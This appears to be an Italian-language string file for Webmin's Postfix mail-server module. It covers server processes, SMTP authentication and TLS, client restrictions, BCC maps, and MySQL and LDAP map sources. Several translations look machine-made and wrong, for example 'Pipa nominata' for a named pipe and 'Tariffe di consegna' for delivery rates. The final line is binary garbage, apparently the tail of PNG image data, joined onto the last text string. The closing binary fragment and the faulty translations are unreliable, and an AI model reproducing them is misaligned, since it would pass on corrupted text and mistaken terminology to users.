master_title=Processi del server
master_name=Nome del processo
master_enabled=Abilitato?
master_type=Tipo di trasporto
master_private=Privato?
master_unpriv=Senza privilegi?
master_chroot=Chroot?
master_max=Processi massimi
master_inet=Internet
master_unix=Presa Unix
master_fifo=Pipa nominata
master_add=Aggiungi un nuovo processo server.
master_unlimit=Illimitato
master_ecannot=Non è consentito modificare i processi del server
master_edit=Modifica processo server
master_create=Crea processo server
master_header=Dettagli sul processo del server Postfix
master_host=Ascolta l'indirizzo dell'host
master_any=Qualsiasi indirizzo
master_private2=Privato per il sistema di posta?
master_unpriv2=Esegui come utente Postfix?
master_chroot2=Chroot nella directory della coda di posta?
master_return=processi server
master_defyes=Predefinito (Sì)
master_command=Comando di processo
master_wakeup=Processo di riattivazione automatica?
master_wtime=Dopo $1 secondi
master_wused=Solo se effettivamente utilizzato
master_max2=Processi massimi
master_procs=Al massimo $1
master_name2=Nome / porta del server
master_egone=Il processo del server non esiste più!
master_eclash=Esiste già un processo server con lo stesso nome e tipo di trasporto
master_err=Impossibile salvare il processo del server
master_ename=Nome o porta del server mancante o non valido
master_ehost=Indirizzo host non valido per l'ascolto
master_einet=Un indirizzo host su cui ascoltare può essere specificato solo per i processi Internet
master_ecommand=Comando di processo del server mancante
master_ewakeup=Tempo di sveglia mancante o non valido
master_emaxprocs=Numero massimo di processi mancante o non valido

delete_err=Impossibile eliminare i mapping
delete_enone=Nessuno selezionato

cmanual_title=Modifica file di configurazione
cmanual_ecannot=Non puoi modificare il file di configurazione di Postfix
cmanual_ok=modificare
cmanual_efile=Il file selezionato non fa parte della configurazione di Postfix
cmanual_file=Modifica file di configurazione:
cmanual_edata=Non è entrato niente!
cmanual_err=Impossibile salvare il file di configurazione

access_return=tabella di accesso mappa
edit_map_file=Modifica file mappa
opts_reject_rbl_client=Ricerche in Black List (RBL) in tempo reale
opts_check_sender_access=Controlla la tabella della mappa di accesso del mittente

log_misc=Opzioni generali modificate
log_opts=Indirizzo riscritto e mascherato modificato
log_aliases=Opzioni di alias modificate
log_canonical=Modifica delle opzioni di mappatura canonica
log_virtual=Opzioni del dominio virtuale modificate
log_bcc=Opzioni mappa CCN modificate
log_transport=Opzioni di mappatura del trasporto modificate
log_sni=Modifica le opzioni di mappatura del certificato
log_dependent=Modificate le opzioni dell'indirizzo dipendente dal mittente
log_relocated=Modificate le opzioni di mappatura del trasferimento
log_header=Opzioni di controllo dell'intestazione modificate
log_body=Opzioni di controllo del corpo modificate
log_debug=Funzionalità di debug modificate
log_ldap=Ricerche LDAP modificate
log_local=Consegna locale modificata
log_rate=Tariffe di consegna modificate
log_resource=Controllo delle risorse generali modificato
log_smtp=Opzioni client SMTP modificate
log_smtpd=Opzioni del server SMTP modificate
log_alias_create=Alias creato $1
log_alias_modify=Alias modificato $1
log_alias_delete=Alias eliminato $1
log_delete_aliases=Alias $1
log_virtual_alias_maps_create=Dominio virtuale creato $1
log_virtual_alias_maps_modify=Dominio virtuale modificato $1
log_virtual_alias_maps_delete=Dominio virtuale eliminato $1
log_delete_virtual_alias_mapss=Domini virtuali $1 eliminati
log_manual_virtual_alias_mapss=Domini virtuali modificati manualmente in $1
log_virtual_maps_create=Dominio virtuale creato $1
log_virtual_maps_modify=Dominio virtuale modificato $1
log_virtual_maps_delete=Dominio virtuale eliminato $1
log_delete_virtual_mapss=Domini virtuali $1 eliminati
log_manual_virtual_mapss=Domini virtuali modificati manualmente in $1
log_canonical_maps_create=Mappatura canonica creata $1
log_canonical_maps_modify=Mappatura canonica modificata $1
log_canonical_maps_delete=Mappatura canonica eliminata $1
log_delete_canonical_mapss=Mapping canonici $1 eliminati
log_manual_canonical_mapss=Mapping canonici modificati manualmente in $1
log_recipient_canonical_maps_create=Mappatura canonica del destinatario creata $1
log_recipient_canonical_maps_modify=Mappatura canonica del destinatario modificata $1
log_recipient_canonical_maps_delete=Mappatura canonica del destinatario eliminata $1
log_delete_recipient_canonical_mapss=Mapping canonici del destinatario eliminati $1
log_manual_recipient_canonical_mapss=Mapping canonici del destinatario modificati manualmente in $1
log_sender_canonical_maps_create=Mappatura canonica del mittente creata $1
log_sender_canonical_maps_modify=Mappatura canonica del mittente modificata $1
log_sender_canonical_maps_delete=Mappatura canonica mittente eliminata $1
log_delete_sender_canonical_mapss=Mapping canonici mittente $1 eliminati
log_manual_sender_canonical_mapss=Mapping canonici del mittente modificati manualmente in $1
log_transport_maps_create=Mappatura di trasporto creata $1
log_transport_maps_modify=Mappatura di trasporto modificata $1
log_transport_maps_delete=Mappatura di trasporto eliminata $1
log_delete_transport_mapss=Mapping di trasporto $1 eliminato
log_manual_transport_mapss=Mapping di trasporto modificati manualmente in $1
log_relocated_maps_create=Creato mappatura trasferita $1
log_relocated_maps_modify=Mappatura riposizionata modificata $1
log_relocated_maps_delete=Mappatura trasferita eliminata $1
log_delete_relocated_mapss=$1 eliminati mapping trasferiti
log_manual_relocated_mapss=Mapping riposizionati modificati manualmente in $1
log_header_checks_create=Controllo dell'intestazione creato $1
log_header_checks_modify=Controllo dell'intestazione modificato $1
log_header_checks_delete=Controllo dell'intestazione eliminato $1
log_delete_header_checkss=Eliminati i controlli di intestazione $1
log_manual_header_checkss=I controlli di intestazione modificati manualmente in $1
log_body_checks_create=Controllo del corpo creato $1
log_body_checks_modify=Controllo del corpo modificato $1
log_body_checks_delete=Controllo del corpo eliminato $1
log_delete_body_checkss=Eliminati i controlli del corpo $1
log_manual_body_checkss=Controlli del corpo modificati manualmente in $1
log_master_create=Processo del server creato $1
log_master_modify=Processo server modificato $1
log_master_delete=Processo del server eliminato $1
log_manual=File di configurazione modificato manualmente $1
log_stop=Server Postfix interrotto
log_start=Server Postfix avviato
log_reload=Configurazione Postfix ricaricata
log_delqs=Eliminati $1 messaggi dalla coda di posta
log_flushq=Coda di posta a filo
log_backend=File di configurazione aggiornato per la mappa $1
log_sasl=Autenticazione e crittografia SMTP modificate
log_client=Restrizioni client SMTP modificate
log_sender_dependent_default_transport_maps_create=Indirizzo dipendente dal mittente creato $1
log_sender_dependent_default_transport_maps_modify=Indirizzo dipendente dal mittente modificato $1
log_sender_dependent_default_transport_maps_delete=Indirizzo dipendente dal mittente eliminato $1
log_delete_sender_dependent_default_transport_mapss=Eliminati $1 indirizzi dipendenti dal mittente
log_manual_sender_dependent_default_transport_mapss=Indirizzi dipendenti dal mittente modificati manualmente in $1

sasl_title=Autenticazione e crittografia SMTP
opts_smtpd_sasl_auth_enable=Richiede l'autenticazione SMTP SASL?
opts_smtp_sasl_auth_enable=Utilizzare l'autenticazione SMTP SASL?
opts_smtpd_tls_auth_only=Non consentire l'autenticazione SASL su connessioni non sicure?
opts_broken_sasl_auth_clients=Gestire client SMTP non conformi?
sasl_opts=Opzioni di sicurezza SMTP
sasl_noanonymous=Rifiuta accessi anonimi
sasl_noplaintext=Rifiuta accessi in testo normale
opts_smtpd_delay_reject=Ritardare i client con accessi non riusciti?
sasl_recip=Restrizioni al destinatario SMTP
sasl_relay=Limitazioni di inoltro SMTP
sasl_permit_mynetworks=Consenti connessioni dalla stessa rete
sasl_permit_sasl_authenticated=Consenti client autenticati
sasl_reject_unauth_destination=Rifiuta la posta elettronica in altri domini
sasl_permit_inet_interfaces=Consenti connessioni da questo sistema
sasl_reject_unknown_reverse_client_hostname=Rifiuta i client senza nome host inverso
sasl_reject_unknown_client=Rifiuta i client senza nome host inverso
sasl_check_relay_domains=Consenti solo i domini di inoltro
sasl_permit_mx_backup=Consenti domini per cui questo sistema è un MX di backup
sasl_permit_tls_all_clientcerts=Consentire ai client TLS con qualsiasi certificato
sasl_reject_unauth_pipelining=Rifiuta i primi comandi SMTP
sasl_check_client_access=Controlla la mappa di accesso del client :
sasl_reject_rbl_client=Rifiuta se l'indirizzo IP del client è in RBL :
sasl_reject_rhsbl_client=Rifiuta se il nome host del client è in RBL :
opts_smtpd_tls_cert_file=File di certificato TLS
opts_smtpd_tls_key_file=File chiave privata TLS
opts_smtpd_tls_CAfile=File dell'autorità di certificazione TLS
opts_smtpd_use_tls=Abilitare la crittografia TLS?
opts_smtp_enforce_tls=Hai bisogno della crittografia TLS?
sasl_err=Impossibile salvare l'autenticazione e la crittografia SMTP
sasl_ecert=File di certificato TLS mancante o non valido
sasl_ekey=File chiave TLS mancante o non valido
sasl_eca=File di autorità di certificazione TLS mancante o non valido
sasl_level_none=Mai
sasl_level_may=Se richiesto dal cliente
sasl_level_encrypt=Sempre
sasl_level_dane=Opportunistico DANE TLS
sasl_level_dane_only=DANE TLS obbligatorio
sasl_level_fingerprint=Verifica dell'impronta digitale del certificato
sasl_level_verify=Verifica TLS obbligatoria
sasl_level_secure=TLS canale sicuro
sasl_login=Accesso SMTP all'host di posta in uscita
sasl_nologin=Nessuno necessario
sasl_userpass=Accedi come $1 con password $2
sasl_elogin=Accesso SMTP mancante o non valido (non sono ammessi spazi o due punti)
sasl_epass=Password SMTP non valida (nessuno spazio consentito)

client_title=Restrizioni client SMTP
client_ecannot=Non è consentito modificare le restrizioni del client SMTP
client_restrict=Restrizioni del cliente
client_restrict1=Postfix predefinito (consenti a tutti i client)
client_restrict0=Selezionato sotto. ..
client_other=Altre restrizioni :
client_err=Impossibile salvare le restrizioni client
client_evalue=Valore mancante per restrizione $1
client_return=Restrizioni client SMTP

chooser_title=Seleziona Sorgente mappa
chooser_header=Fonte mappa $1
chooser_none=Nessuna
chooser_hash=File di mappatura
chooser_regexp=File Regexps
chooser_pcre=File regexps in stile Perl
chooser_other=Altra fonte
chooser_mysql=Database MySQL
chooser_mysqlsrc=Fonte MySQL
chooser_mhosts=Host o server MySQL
chooser_muser=Accesso al database
chooser_mpassword=Password del database
chooser_mdbname=Nome del database
chooser_mtable=Tabella contenente la mappa
chooser_mselect_field=Campo valore
chooser_mwhere_field=Campo chiave
chooser_madditional_conditions=SQL per la clausola <tt>dove</tt>
chooser_err=Impossibile salvare l'origine della mappa
chooser_ehash=Nome file di mappatura mancante o non valido per la mappa $1
chooser_eregexp=Nome file espressioni regolari mancanti o non valide per la mappa $1
chooser_epcre=Nome file espressioni regolari compatibili con Perl mancanti o non valide per la mappa $1
chooser_eother=Altra fonte mancante o non valida per la mappa $1
chooser_enone=Nessuno inserito
chooser_emhosts=Host di server MySQL mancanti per la mappa $1
chooser_emuser=Accesso al database mancante o non valido per la mappa $1
chooser_empassword=Password del database mancante o non valida per la mappa $1
chooser_emdbname=Nome tabella mancante o non valido per la mappa $1
chooser_emselect_field=Campo valore mancante o non valido per la mappa $1
chooser_emwhere_field=Campo chiave mancante o non valido per la mappa $1
chooser_emadditional=Condizioni SQL aggiuntive mancanti per la mappa $1
chooser_mquery=Query personalizzata per la mappa
chooser_emquery=Query personalizzata mancante per la mappa
chooser_lserver_host=Host del server LDAP
chooser_lserver_port=Porta LDAP
chooser_lstart_tls=Utilizzare la crittografia TLS?
chooser_lsearch_base=DN base di ricerca LDAP
chooser_lquery_filter=Filtro query
chooser_lresult_attribute=Attributo risultato
chooser_lscope=Ambito di ricerca
chooser_lsub=Intera sottostruttura
chooser_lone=Un livello
chooser_lbase=Solo base
chooser_lbind=Accedi al server LDAP?
chooser_lbind_dn=Accesso al server
chooser_lbind_pw=Password del server
chooser_ldap=Server LDAP
chooser_lfilter=Altro filtro
chooser_lattribute=Altro attributo
chooser_elserver_host=Host del server LDAP mancanti per la mappa $1
chooser_elserver_port=Porta del server LDAP mancante o non valida per la mappa $1
chooser_elsearch_base=Base di ricerca LDAP mancante per la mappa $1
chooser_elquery_filter=Filtro query mancante per la mappa $1
chooser_elresult_attribute=Nome dell'attributo risultato mancante o non valido per la mappa $1
chooser_elbind_dn=Accesso mancante per il server LDAP per la mappa $1
chooser_elbind_pw=Password mancante per il server LDAP per la mappa $1

mysql_ecfile=Il file di configurazione di MySQL $1 non è stato trovato
mysql_ecfile2=Impossibile trovare la tabella nel file di configurazione di MySQL $1
mysql_edriver=Impossibile caricare il driver del database $1
mysql_elogin=Accesso al database non riuscito $1:$2.
mysql_equery=Impossibile eseguire la query sulla tabella $1 : $2 
mysql_eadd=Inserimento SQL non riuscito : $1
mysql_edelete=Eliminazione SQL non riuscita : $1
mysql_eupdate=Aggiornamento SQL non riuscito : $1
mysql_elist=Query SQL non riuscita : $1
mysql_esource=Non è stata trovata alcuna fonte MySQL denominata $1
mysql_eneed=Il parametro di configurazione MySQL $1 non è stato trovato. Webmin ne ha bisogno per capire quale tabella e quali campi interrogare.

ldap_ecfile=Il file di configurazione LDAP $1 non è stato trovato
ldap_eldapmod=Il modulo Perl $1 necessario per comunicare con LDAP non è installato o non è caricabile
ldap_eldap=Impossibile connettersi al server LDAP $1 sulla porta $2
ldap_eldaplogin=Accesso al server LDAP $1 non riuscito come $2 : $3 
ldap_ebase=Il DN di base LDAP $1 non è valido : $2
ldap_eadd=Aggiunta LDAP di $1 non riuscita : $2
ldap_edelete=Eliminazione LDAP di $1 non riuscita : $2
ldap_equery=Ricerca LDAP di $1 non riuscita : $2
ldap_erename=Rinomina LDAP da $1 a $2 non riuscita : $3
ldap_emodify=Modifica LDAP di $1 non riuscita : $2

bcc_title=Mappatura BCC
bcc_ecannot=Non è consentito modificare i mapping BCC
opts_sender_bcc_maps=Tabelle di ricerca del mapping BCC del mittente
opts_recipient_bcc_maps=Tabelle di ricerca del mapping BCC del destinatario
bcc_sender=Mappature mittente
bcc_recipient=Mappatura dei destinatari
bcc_senderdesc=Le mappature BCC del mittente definiscono un indirizzo e-mail aggiuntivo a cui inviare <b>da</b> gli indirizzi o i domini elencati saranno BCCd.
bcc_recipientdesc=I mapping BCC del destinatario definiscono un indirizzo di posta elettronica aggiuntivo a cui inviare da <b>a</b> gli indirizzi o i domini elencati.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`